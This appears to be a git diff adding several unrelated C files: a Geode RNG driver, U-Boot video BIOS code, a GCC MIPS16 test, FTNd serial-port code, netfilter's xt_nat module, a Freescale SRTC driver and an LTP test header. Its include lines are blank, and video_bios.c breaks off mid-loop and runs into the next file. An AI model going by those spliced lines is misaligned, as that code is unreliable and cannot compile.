return 4; +} + +static int geode_rng_data_present(struct hwrng *rng, int wait) +{ + void __iomem *mem = (void __iomem *)rng->priv; + int data, i; + + for (i = 0; i < 20; i++) { + data = !!(readl(mem + GEODE_RNG_STATUS_REG)); + if (data || !wait) + break; + udelay(10); + } + return data; +} + + +static struct hwrng geode_rng = { + .name = "geode", + .data_present = geode_rng_data_present, + .data_read = geode_rng_data_read, +}; + + +static int __init geode_rng_init(void) +{ + int err = -ENODEV; + struct pci_dev *pdev = NULL; + const struct pci_device_id *ent; + void __iomem *mem; + unsigned long rng_base; + + for_each_pci_dev(pdev) { + ent = pci_match_id(pci_tbl, pdev); + if (ent) + goto found; + } + /* Device not found. */ + goto out; + +found: + rng_base = pci_resource_start(pdev, 0); + if (rng_base == 0) + goto out; + err = -ENOMEM; + mem = ioremap(rng_base, 0x58); + if (!mem) + goto out; + geode_rng.priv = (unsigned long)mem; + + pr_info("AMD Geode RNG detected\n"); + err = hwrng_register(&geode_rng); + if (err) { + pr_err(PFX "RNG registering failed (%d)\n", + err); + goto err_unmap; + } +out: + return err; + +err_unmap: + iounmap(mem); + goto out; +} + +static void __exit geode_rng_exit(void) +{ + void __iomem *mem = (void __iomem *)geode_rng.priv; + + hwrng_unregister(&geode_rng); + iounmap(mem); +} + +module_init(geode_rng_init); +module_exit(geode_rng_exit); + +MODULE_DESCRIPTION("H/W RNG driver for AMD Geode LX CPUs"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0142060_video_bios.c b/pool/shard011/C/0142060_video_bios.c new file mode 100644 index 0000000000000000000000000000000000000000..7574f771fddd843611875a61be9af843aa285d8c --- /dev/null +++ b/pool/shard011/C/0142060_video_bios.c @@ -0,0 +1,222 @@ +/* + * (C) Copyright 2002 + * Daniel Engström, Omicron Ceti AB, + * + * See file CREDITS for list of people who contributed to this + * project. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of + * the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, + * MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include +#include +#include + +#undef PCI_BIOS_DEBUG +#undef VGA_BIOS_DEBUG + +#ifdef VGA_BIOS_DEBUG +#define PRINTF(fmt,args...) printf (fmt ,##args) +#else +#define PRINTF(fmt,args...) +#endif + +#ifdef CONFIG_PCI + +#ifdef PCI_BIOS_DEBUG +#define RELOC_16(seg, off) *(u32*)(seg << 4 | (u32)&off) +extern u32 num_pci_bios_present; +extern u32 num_pci_bios_find_device; +extern u32 num_pci_bios_find_class; +extern u32 num_pci_bios_generate_special_cycle; +extern u32 num_pci_bios_read_cfg_byte; +extern u32 num_pci_bios_read_cfg_word; +extern u32 num_pci_bios_read_cfg_dword; +extern u32 num_pci_bios_write_cfg_byte; +extern u32 num_pci_bios_write_cfg_word; +extern u32 num_pci_bios_write_cfg_dword; +extern u32 num_pci_bios_get_irq_routing; +extern u32 num_pci_bios_set_irq; +extern u32 num_pci_bios_unknown_function; + +void print_bios_bios_stat(void) +{ + printf("16 bit functions:\n"); + printf("pci_bios_present: %d\n", RELOC_16(0xf000, num_pci_bios_present)); + printf("pci_bios_find_device: %d\n", RELOC_16(0xf000, num_pci_bios_find_device)); + printf("pci_bios_find_class: %d\n", RELOC_16(0xf000, num_pci_bios_find_class)); + printf("pci_bios_generate_special_cycle: %d\n", RELOC_16(0xf000, num_pci_bios_generate_special_cycle)); + printf("pci_bios_read_cfg_byte: %d\n", RELOC_16(0xf000, num_pci_bios_read_cfg_byte)); + printf("pci_bios_read_cfg_word: %d\n", RELOC_16(0xf000, num_pci_bios_read_cfg_word)); + printf("pci_bios_read_cfg_dword: %d\n", RELOC_16(0xf000, num_pci_bios_read_cfg_dword)); + printf("pci_bios_write_cfg_byte: %d\n", RELOC_16(0xf000, num_pci_bios_write_cfg_byte)); + printf("pci_bios_write_cfg_word: %d\n", RELOC_16(0xf000, num_pci_bios_write_cfg_word)); + printf("pci_bios_write_cfg_dword: %d\n", RELOC_16(0xf000, num_pci_bios_write_cfg_dword)); + printf("pci_bios_get_irq_routing: %d\n", RELOC_16(0xf000, num_pci_bios_get_irq_routing)); + printf("pci_bios_set_irq: %d\n", RELOC_16(0xf000, num_pci_bios_set_irq)); + printf("pci_bios_unknown_function: %d\n", RELOC_16(0xf000, num_pci_bios_unknown_function)); + +} +#endif + +#ifdef CONFIG_VIDEO + +#define PCI_CLASS_VIDEO 3 +#define PCI_CLASS_VIDEO_STD 0 +#define PCI_CLASS_VIDEO_PROG_IF_VGA 0 + +static struct pci_device_id supported[] = { + {PCI_VIDEO_VENDOR_ID, PCI_VIDEO_DEVICE_ID}, + {} +}; + +static u32 probe_pci_video(void) +{ + pci_dev_t devbusfn; + + if ((devbusfn = pci_find_devices(supported, 0) != -1)) { + u32 old; + u32 addr; + + /* PCI video device detected */ + printf("Found PCI VGA device at %02x.%02x.%x\n", + PCI_BUS(devbusfn), PCI_DEV(devbusfn), PCI_FUNC(devbusfn)); + + /* Enable I/O decoding as well, PCI viudeo boards + * support I/O accesses, but they provide no + * bar register for this since the ports are fixed. + */ + pci_write_config_word(devbusfn, PCI_COMMAND, PCI_COMMAND_MEMORY | PCI_COMMAND_IO | PCI_COMMAND_MASTER); + + /* Test the ROM decoder, do the device support a rom? */ + pci_read_config_dword(devbusfn, PCI_ROM_ADDRESS, &old); + pci_write_config_dword(devbusfn, PCI_ROM_ADDRESS, (u32)PCI_ROM_ADDRESS_MASK); + pci_read_config_dword(devbusfn, PCI_ROM_ADDRESS, &addr); + pci_write_config_dword(devbusfn, PCI_ROM_ADDRESS, old); + + if (!addr) { + printf("PCI VGA have no ROM?\n"); + return 0; + } + + /* device have a rom */ + if (pci_shadow_rom(devbusfn, (void*)0xc0000)) { + printf("Shadowing of PCI VGA BIOS failed\n"); + return 0; + } + + /* Now enable lagacy VGA port access */ + if (pci_enable_legacy_video_ports(pci_bus_to_hose(PCI_BUS(devbusfn)))) { + printf("PCI VGA enable failed\n"); + return 0; + } + + + /* return the pci device info, that we'll need later */ + return PCI_BUS(devbusfn) << 8 | + PCI_DEV(devbusfn) << 3 | (PCI_FUNC(devbusfn)&7); + } + + return 0; +} + +static int probe_isa_video(void) +{ + u32 ptr; + char *buf; + + if (0 == (ptr = isa_map_rom(0xc0000, 0x8000))) { + return -1; + } + if (NULL == (buf=malloc(0x8000))) { + isa_unmap_rom(ptr); + return -1; + } + if (readw(ptr) != 0xaa55) { + free(buf); + isa_unmap_rom(ptr); + return -1; + } + + /* shadow the rom */ + memcpy(buf, (void*)ptr, 0x8000); + isa_unmap_rom(ptr); + memcpy((void*)0xc0000, buf, 0x8000); + + free(buf); + + return 0; +} + +int video_bios_init(void) +{ + struct pt_regs regs; + + /* clear the video bios area in case we warmbooted */ + memset((void*)0xc0000, 0, 0x8000); + memset(®s, 0, sizeof(struct pt_regs)); + + if (probe_isa_video()) { + /* No ISA board found, try the PCI bus */ + regs.eax = probe_pci_video(); + } + + /* Did we succeed in mapping any video bios */ + if (readw(0xc0000) == 0xaa55) { + int size; + int i; + u8 sum; + + PRINTF("Found video bios signature\n"); + size = 512*readb(0xc0002); + PRINTF("size %d\n", size); + sum=0; + for (i=0;i=1 -mabi=32" } */ + +void bar (int *); + +MIPS16 void +foo (int *a, int b, int c) +{ + int x[0x4000]; + asm volatile ("" ::: "$2", "$3", "$4", "$5", "$6", "$7", "$8", + "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$16", + "$18", "$19", "$20", "$21", "$22", "$23", "$24", + "$25", "$30", "memory"); + bar (x); + a[b] = 1; + a[c] = 1; +} +/* { dg-final { scan-assembler "\tsave\t\\\$4-\\\$6," } } */ +/* { dg-final { scan-assembler "\trestore\t" } } */ diff --git a/pool/shard011/C/0142062_openport.c b/pool/shard011/C/0142062_openport.c new file mode 100644 index 0000000000000000000000000000000000000000..3b41da6ed5ec44636bf4589b9b49a2cadd6862d9 --- /dev/null +++ b/pool/shard011/C/0142062_openport.c @@ -0,0 +1,289 @@ +/***************************************************************************** + * + * openport.c + * + ***************************************************************************** + * Copyright (C) 2013-2017 Robert James Clay + * Copyright (C) 1997-2007 Michiel Broek + * + * This file is part of FTNd. + * + * This is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free + * Software Foundation; either version 2, or (at your option) any + * later version. + * + * FTNd is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with FTNd; see the file COPYING. If not, write to the Free Software + * Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + *****************************************************************************/ + +#include "../config.h" +#include "../lib/ftndlib.h" +#include "ttyio.h" +#include "openport.h" +#include "zmmisc.h" + +#ifdef USE_SGTTY +# ifdef LLITOUT +int Locmode; /* Saved "local mode" for 4.x BSD "new driver" */ +int Locbit = LLITOUT; /* Bit SUPPOSED to disable output translations */ +# endif +#endif + +#ifdef USE_TERMIOS +struct termios oldtty, tty; +#else +# if defined(USE_TERMIO) +struct termio oldtty, tty; +# else +struct sgttyb oldtty, tty; +struct tchars oldtch, tch; +# endif +#endif + +int hanged_up = 0; +unsigned Baudrate = 9600; /* Default, set by first io_mode() call */ + + + +static struct { + unsigned baudr; + speed_t speedcode; +} speeds[] = { + {110, B110}, + {300, B300}, + {600, B600}, + {1200, B1200}, + {2400, B2400}, + {4800, B4800}, + {9600, B9600}, +#ifdef B12000 + {12000, B12000}, +#endif +#ifdef B14400 + {14400, B14400}, +#endif +#ifdef B19200 + {19200, B19200}, +#endif +#ifdef B38400 + {38400, B38400}, +#endif +#ifdef B57600 + {57600, B57600}, +#endif +#ifdef B115200 + {115200, B115200}, +#endif +#ifdef B230400 + {230400, B230400}, +#endif +#ifdef B460800 + {460800, B460800}, +#endif +#ifdef B500000 + {500000, B500000}, +#endif +#ifdef EXTA + {19200, EXTA}, +#endif +#ifdef EXTB + {38400, EXTB}, +#endif + {0, 0} +}; + + + +unsigned getspeed(speed_t); +unsigned getspeed(speed_t code) +{ + int n; + + for (n = 0; speeds[n].baudr; ++n) + if (speeds[n].speedcode == code) + return speeds[n].baudr; + return 38400; /* Assume fifo if ioctl failed */ +} + + + +/* + * Set port to local, hangup using DTR drop. + */ +void hangup(void) +{ + struct termios Tios; + tcflag_t cflag; + speed_t ispeed, ospeed; + int rc; + + Syslog('t', "hangup()"); + + if (isatty(0)) { + if ((rc = tcgetattr(0,&Tios))) { + WriteError("$tcgetattr(0,save) return %d",rc); + return; + } + Syslog('+', "Lowering DTR to hangup"); + + cflag = Tios.c_cflag | CLOCAL; + + ispeed = cfgetispeed(&tty); + ospeed = cfgetospeed(&tty); + cfsetispeed(&Tios,0); + cfsetospeed(&Tios,0); + if ((rc = tcsetattr(0,TCSADRAIN,&Tios))) + WriteError("$tcsetattr(0,TCSADRAIN,hangup) return %d",rc); + + sleep(1); /* as far as I notice, DTR goes back high on next op. */ + + Tios.c_cflag = cflag; + cfsetispeed(&Tios,ispeed); + cfsetospeed(&Tios,ospeed); + if ((rc = tcsetattr(0,TCSADRAIN,&Tios))) + Syslog('t', "$tcsetattr(0,TCSADRAIN,clocal) return %d",rc); + } else { + Syslog('t', "Not at a tty"); + } + + return; +} + + + +/* + * mode(n) + * 3: save old tty stat, set raw mode with flow control + * 2: set XON/XOFF for sb/sz with ZMODEM or YMODEM-g + * 1: save old tty stat, set raw mode + * 0: restore original tty mode + */ +char *io_names[] = { (char *)"restore-tty", (char *)"save-tty set-raw", (char *)"set-Xon/Xoff", (char *)"save-tty set-raw-flow" }; +int io_mode(int fd, int n) +{ + static int did0 = FALSE; + + Syslog('t', "io_mode(%d, %d) (%s)", fd, n, io_names[n]); + + switch(n) { + +#ifdef USE_TERMIOS + case 2: + if (!did0) { + tcgetattr(fd,&oldtty); + } + tty = oldtty; + + tty.c_iflag = BRKINT | IXON; + tty.c_oflag = 0; /* Transparent output */ + tty.c_cflag &= ~( CSIZE | PARENB ); /* Disable parity and all character sizes */ + tty.c_cflag |= CS8 | CREAD; + tty.c_lflag = (protocol == ZM_ZMODEM) ? 0 : ISIG; + tty.c_cc[VINTR] = (protocol == ZM_ZMODEM) ? -1:030; /* Interrupt char */ + tty.c_cc[VQUIT] = -1; /* Quit char */ + tty.c_cc[VMIN] = 3; /* This many chars satisfies reads */ + tty.c_cc[VTIME] = 1; + + tcsetattr(fd,TCSADRAIN,&tty); + did0 = TRUE; + Baudrate = getspeed(cfgetospeed(&tty)); + Syslog('t', "Baudrate = %d", Baudrate); + + return 0; + case 1: + case 3: + if (!did0) { + tcgetattr(fd,&oldtty); + } + + tty = oldtty; + + tty.c_iflag = n==3 ? (IXON|IXOFF) : IXOFF; + + /* + * Setup raw mode: no echo, noncanonical (no edit chars), + * no signal generating chars, and no extended chars (^V, + * ^O, ^R, ^W). + */ + tty.c_lflag &= ~(ECHO | ICANON | ISIG | IEXTEN); + tty.c_oflag = 0; /* Transparent output */ + + tty.c_cflag &= ~( CSIZE | PARENB ); /* Same baud rate, disable parity */ + tty.c_cflag |= CS8; + tty.c_cc[VMIN] = 2; /* This many chars satisfies reads */ + tty.c_cc[VTIME] = 1; + tcsetattr(fd,TCSADRAIN,&tty); + Baudrate = getspeed(cfgetospeed(&tty)); + did0 = TRUE; + + return 0; + case 0: + if (!did0) + return -1; + tcdrain (fd); /* wait until everything is sent */ + tcflush (fd,TCIOFLUSH); /* flush input queue */ + tcsetattr (fd,TCSADRAIN,&oldtty); /* Restore */ + tcflow (fd,TCOON); /* restart output */ + + return 0; +#endif + +#ifdef USE_TERMIO +#error USE_TERMIO driver not coded +#endif + +#ifdef USE_SGTTY +#error USE_SGTTY driver not coded +#endif + } + return -1; +} + + + +int rawport(void) +{ + Syslog('t', "rawport()"); + return io_mode(0, 1); +} + + + +int cookedport(void) +{ + Syslog('t', "cookedport()"); + return io_mode(0, 0); +} + + + +void sendbrk(void) +{ + Syslog('t', "Send break"); + + if (isatty(0)) { +#ifdef USE_TERMIOS + tcsendbreak(0, 0); +#endif +#ifdef USE_TERMIO + ioctl(0, TCSBRK, 0); +#endif +#ifdef USE_SGTTY +#ifdef TIOCSBRK + sleep(1); + ioctl(0, TIOCSBRK, 0); + sleep(1); + ioctl(0, TIOCCBRK, 0); +#endif +#endif + } +} + + diff --git a/pool/shard011/C/0142063_xt_nat.c b/pool/shard011/C/0142063_xt_nat.c new file mode 100644 index 0000000000000000000000000000000000000000..8af9707f8789e475710733b3434c9db4a7eedae2 --- /dev/null +++ b/pool/shard011/C/0142063_xt_nat.c @@ -0,0 +1,247 @@ +/* + * (C) 1999-2001 Paul `Rusty' Russell + * (C) 2002-2006 Netfilter Core Team + * (C) 2011 Patrick McHardy + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +#include +#include +#include +#include +#include + +static int xt_nat_checkentry_v0(const struct xt_tgchk_param *par) +{ + const struct nf_nat_ipv4_multi_range_compat *mr = par->targinfo; + + if (mr->rangesize != 1) { + pr_info_ratelimited("multiple ranges no longer supported\n"); + return -EINVAL; + } + return nf_ct_netns_get(par->net, par->family); +} + +static int xt_nat_checkentry(const struct xt_tgchk_param *par) +{ + return nf_ct_netns_get(par->net, par->family); +} + +static void xt_nat_destroy(const struct xt_tgdtor_param *par) +{ + nf_ct_netns_put(par->net, par->family); +} + +static void xt_nat_convert_range(struct nf_nat_range2 *dst, + const struct nf_nat_ipv4_range *src) +{ + memset(&dst->min_addr, 0, sizeof(dst->min_addr)); + memset(&dst->max_addr, 0, sizeof(dst->max_addr)); + memset(&dst->base_proto, 0, sizeof(dst->base_proto)); + + dst->flags = src->flags; + dst->min_addr.ip = src->min_ip; + dst->max_addr.ip = src->max_ip; + dst->min_proto = src->min; + dst->max_proto = src->max; +} + +static unsigned int +xt_snat_target_v0(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_ipv4_multi_range_compat *mr = par->targinfo; + struct nf_nat_range2 range; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || + ctinfo == IP_CT_RELATED_REPLY))); + + xt_nat_convert_range(&range, &mr->range[0]); + return nf_nat_setup_info(ct, &range, NF_NAT_MANIP_SRC); +} + +static unsigned int +xt_dnat_target_v0(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_ipv4_multi_range_compat *mr = par->targinfo; + struct nf_nat_range2 range; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED))); + + xt_nat_convert_range(&range, &mr->range[0]); + return nf_nat_setup_info(ct, &range, NF_NAT_MANIP_DST); +} + +static unsigned int +xt_snat_target_v1(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_range *range_v1 = par->targinfo; + struct nf_nat_range2 range; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || + ctinfo == IP_CT_RELATED_REPLY))); + + memcpy(&range, range_v1, sizeof(*range_v1)); + memset(&range.base_proto, 0, sizeof(range.base_proto)); + + return nf_nat_setup_info(ct, &range, NF_NAT_MANIP_SRC); +} + +static unsigned int +xt_dnat_target_v1(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_range *range_v1 = par->targinfo; + struct nf_nat_range2 range; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED))); + + memcpy(&range, range_v1, sizeof(*range_v1)); + memset(&range.base_proto, 0, sizeof(range.base_proto)); + + return nf_nat_setup_info(ct, &range, NF_NAT_MANIP_DST); +} + +static unsigned int +xt_snat_target_v2(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_range2 *range = par->targinfo; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || + ctinfo == IP_CT_RELATED_REPLY))); + + return nf_nat_setup_info(ct, range, NF_NAT_MANIP_SRC); +} + +static unsigned int +xt_dnat_target_v2(struct sk_buff *skb, const struct xt_action_param *par) +{ + const struct nf_nat_range2 *range = par->targinfo; + enum ip_conntrack_info ctinfo; + struct nf_conn *ct; + + ct = nf_ct_get(skb, &ctinfo); + WARN_ON(!(ct != NULL && + (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED))); + + return nf_nat_setup_info(ct, range, NF_NAT_MANIP_DST); +} + +static struct xt_target xt_nat_target_reg[] __read_mostly = { + { + .name = "SNAT", + .revision = 0, + .checkentry = xt_nat_checkentry_v0, + .destroy = xt_nat_destroy, + .target = xt_snat_target_v0, + .targetsize = sizeof(struct nf_nat_ipv4_multi_range_compat), + .family = NFPROTO_IPV4, + .table = "nat", + .hooks = (1 << NF_INET_POST_ROUTING) | + (1 << NF_INET_LOCAL_IN), + .me = THIS_MODULE, + }, + { + .name = "DNAT", + .revision = 0, + .checkentry = xt_nat_checkentry_v0, + .destroy = xt_nat_destroy, + .target = xt_dnat_target_v0, + .targetsize = sizeof(struct nf_nat_ipv4_multi_range_compat), + .family = NFPROTO_IPV4, + .table = "nat", + .hooks = (1 << NF_INET_PRE_ROUTING) | + (1 << NF_INET_LOCAL_OUT), + .me = THIS_MODULE, + }, + { + .name = "SNAT", + .revision = 1, + .checkentry = xt_nat_checkentry, + .destroy = xt_nat_destroy, + .target = xt_snat_target_v1, + .targetsize = sizeof(struct nf_nat_range), + .table = "nat", + .hooks = (1 << NF_INET_POST_ROUTING) | + (1 << NF_INET_LOCAL_IN), + .me = THIS_MODULE, + }, + { + .name = "DNAT", + .revision = 1, + .checkentry = xt_nat_checkentry, + .destroy = xt_nat_destroy, + .target = xt_dnat_target_v1, + .targetsize = sizeof(struct nf_nat_range), + .table = "nat", + .hooks = (1 << NF_INET_PRE_ROUTING) | + (1 << NF_INET_LOCAL_OUT), + .me = THIS_MODULE, + }, + { + .name = "SNAT", + .revision = 2, + .checkentry = xt_nat_checkentry, + .destroy = xt_nat_destroy, + .target = xt_snat_target_v2, + .targetsize = sizeof(struct nf_nat_range2), + .table = "nat", + .hooks = (1 << NF_INET_POST_ROUTING) | + (1 << NF_INET_LOCAL_IN), + .me = THIS_MODULE, + }, + { + .name = "DNAT", + .revision = 2, + .target = xt_dnat_target_v2, + .targetsize = sizeof(struct nf_nat_range2), + .table = "nat", + .hooks = (1 << NF_INET_PRE_ROUTING) | + (1 << NF_INET_LOCAL_OUT), + .me = THIS_MODULE, + }, +}; + +static int __init xt_nat_init(void) +{ + return xt_register_targets(xt_nat_target_reg, + ARRAY_SIZE(xt_nat_target_reg)); +} + +static void __exit xt_nat_exit(void) +{ + xt_unregister_targets(xt_nat_target_reg, ARRAY_SIZE(xt_nat_target_reg)); +} + +module_init(xt_nat_init); +module_exit(xt_nat_exit); + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Patrick McHardy "); +MODULE_ALIAS("ipt_SNAT"); +MODULE_ALIAS("ipt_DNAT"); +MODULE_ALIAS("ip6t_SNAT"); +MODULE_ALIAS("ip6t_DNAT"); diff --git a/pool/shard011/C/0142064_srtc.c b/pool/shard011/C/0142064_srtc.c new file mode 100644 index 0000000000000000000000000000000000000000..fd4167516dbfea126a92e87846999fd533088087 --- /dev/null +++ b/pool/shard011/C/0142064_srtc.c @@ -0,0 +1,161 @@ +/* + * Copyright (c) 2011-2012, Freescale Semiconductor, Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * o Redistributions of source code must retain the above copyright notice, this list + * of conditions and the following disclaimer. + * + * o Redistributions in binary form must reproduce the above copyright notice, this + * list of conditions and the following disclaimer in the documentation and/or + * other materials provided with the distribution. + * + * o Neither the name of Freescale Semiconductor, Inc. nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/*! + * @file srtc.c + * @brief SRTC driver source file. + * + * @ingroup diag_timer + */ + +#include "sdk.h" +#include "rtc/srtc.h" +#include "registers/regssnvs.h" +#include "irq_numbers.h" +#include "interrupt.h" +#include "snvs/snvs.h" + +/*! + * @brief SRTC strucures used by the driver. + */ +typedef struct snvs_srtc_module_ { + srtc_callback_t onetime_timer_callback; + void * callbackArg; +} snvs_srtc_module_t; + +void snvs_srtc_setup_interrupt(void (*irq_subroutine)(void), uint8_t state); + +static snvs_srtc_module_t s_snvs_srtc_module; + +//////////////////////////////////////////////////////////////////////////////// +// Code +//////////////////////////////////////////////////////////////////////////////// + +/*! + * @brief Setup SNVS interrupt. + * + * Enables or disables the related HW module interrupt, and attached the related + * sub-routine into the vector table. + * + * @param port Pointer to the SNVS module structure. + * @param state true to enable or false to disable. + */ +void snvs_srtc_setup_interrupt(void (*irq_subroutine)(void), uint8_t state) +{ + uint32_t irq_id = IMX_INT_SNVS; + + if (state) + { + // register the IRQ sub-routine + register_interrupt_routine(irq_id, irq_subroutine); + + // enable the IRQ + enable_interrupt(irq_id, CPU_0, 0); + } + else + { + // disable the IRQ + disable_interrupt(irq_id, CPU_0); + } +} + +/*! + * @brief SNVS SRTC interrupt handler. + */ +void snvs_srtc_interrupt_handler(void) +{ + snvs_srtc_setup_interrupt(NULL, false); + + if (HW_SNVS_LPSR.B.LPTA && s_snvs_srtc_module.onetime_timer_callback != NULL) + { + HW_SNVS_LPSR_CLR(BM_SNVS_LPSR_LPTA); + + s_snvs_srtc_module.onetime_timer_callback(s_snvs_srtc_module.callbackArg); + s_snvs_srtc_module.onetime_timer_callback = NULL; + s_snvs_srtc_module.callbackArg = 0; + snvs_srtc_alarm(false); + } + else + { + snvs_srtc_setup_interrupt(snvs_srtc_interrupt_handler, true); + } +} + +void srtc_init(void) +{ + // Clear state. + s_snvs_srtc_module.onetime_timer_callback = NULL; + s_snvs_srtc_module.callbackArg = 0; + + // Initialize SNVS driver + snvs_init(); + + // Start SRTC counter + snvs_srtc_counter(true); + + // Keep time alarm disabled + snvs_srtc_alarm(false); +} + +void srtc_deinit(void) +{ + // Disable the interrupt + snvs_srtc_setup_interrupt(NULL, false); + + // Disable the counter + snvs_srtc_counter(false); + snvs_srtc_alarm(false); + + // Deinitialize SNVS + snvs_deinit(); +} + +void srtc_setup_onetime_timer(uint32_t timeout, srtc_callback_t callback, void * arg) +{ + // Disables the interrupt + snvs_srtc_setup_interrupt(NULL, false); + + // Clear the SRTC counter + snvs_srtc_set_counter(0); + + // Program the timeout value + snvs_srtc_set_alarm_timeout(timeout); + + // Set the callback function + s_snvs_srtc_module.onetime_timer_callback = callback; + s_snvs_srtc_module.callbackArg = arg; + + // Reanable the interrupt + snvs_srtc_setup_interrupt(snvs_srtc_interrupt_handler, true); +} + +//////////////////////////////////////////////////////////////////////////////// +// EOF +//////////////////////////////////////////////////////////////////////////////// diff --git a/pool/shard011/C/0142065_umask01.c b/pool/shard011/C/0142065_umask01.c new file mode 100644 index 0000000000000000000000000000000000000000..fb86f0d31cc2f8197fe93105f4f2acdea22440ad --- /dev/null +++ b/pool/shard011/C/0142065_umask01.c @@ -0,0 +1,220 @@ +/* + * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2 of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * Further, this software is distributed without any warranty that it is + * free of the rightful claim of any third person regarding infringement + * or the like. Any license provided herein, whether implied or + * otherwise, applies only to this software file. Patent licenses, if + * any, provided herein do not apply to combinations of this program with + * other software, or any other product whatsoever. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write the Free Software Foundation, Inc., 59 + * Temple Place - Suite 330, Boston MA 02111-1307, USA. + * + * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, + * Mountain View, CA 94043, or: + * + * http://www.sgi.com + * + * For further information regarding this notice, see: + * + * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * + */ +/* $Id$ */ +/********************************************************** + * + * OS Test - Silicon Graphics, Inc. + * + * TEST IDENTIFIER : umask01 + * + * EXECUTED BY : anyone + * + * TEST TITLE : Basic test for umask(2) + * + * PARENT DOCUMENT : usctpl01 + * + * TEST CASE TOTAL : 1 + * + * WALL CLOCK TIME : 1 + * + * CPU TYPES : ALL + * + * AUTHOR : William Roske + * + * CO-PILOT : Dave Fenner + * + * DATE STARTED : 03/30/92 + * + * INITIAL RELEASE : UNICOS 7.0 + * + * TEST CASES + * + * 1.) umask(2) returns...(See Description) + * + * INPUT SPECIFICATIONS + * The standard options for system call tests are accepted. + * (See the parse_opts(3) man page). + * + * OUTPUT SPECIFICATIONS + * + * DURATION + * Terminates - with frequency and infinite modes. + * + * SIGNALS + * Uses SIGUSR1 to pause before test if option set. + * (See the parse_opts(3) man page). + * + * RESOURCES + * None + * + * ENVIRONMENTAL NEEDS + * No run-time environmental needs. + * + * SPECIAL PROCEDURAL REQUIREMENTS + * None + * + * INTERCASE DEPENDENCIES + * None + * + * DETAILED DESCRIPTION + * This is a Phase I test for the umask(2) system call. It is intended + * to provide a limited exposure of the system call, for now. It + * should/will be extended when full functional tests are written for + * umask(2). + * + * Setup: + * Setup signal handling. + * Pause for SIGUSR1 if option specified. + * + * Test: + * Loop if the proper options are given. + * Execute system call + * Check return code, if system call failed (return=-1) + * Log the errno and Issue a FAIL message. + * Otherwise, Issue a PASS message. + * + * Cleanup: + * Print errno log and/or timing stats if options given + * + * + *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ 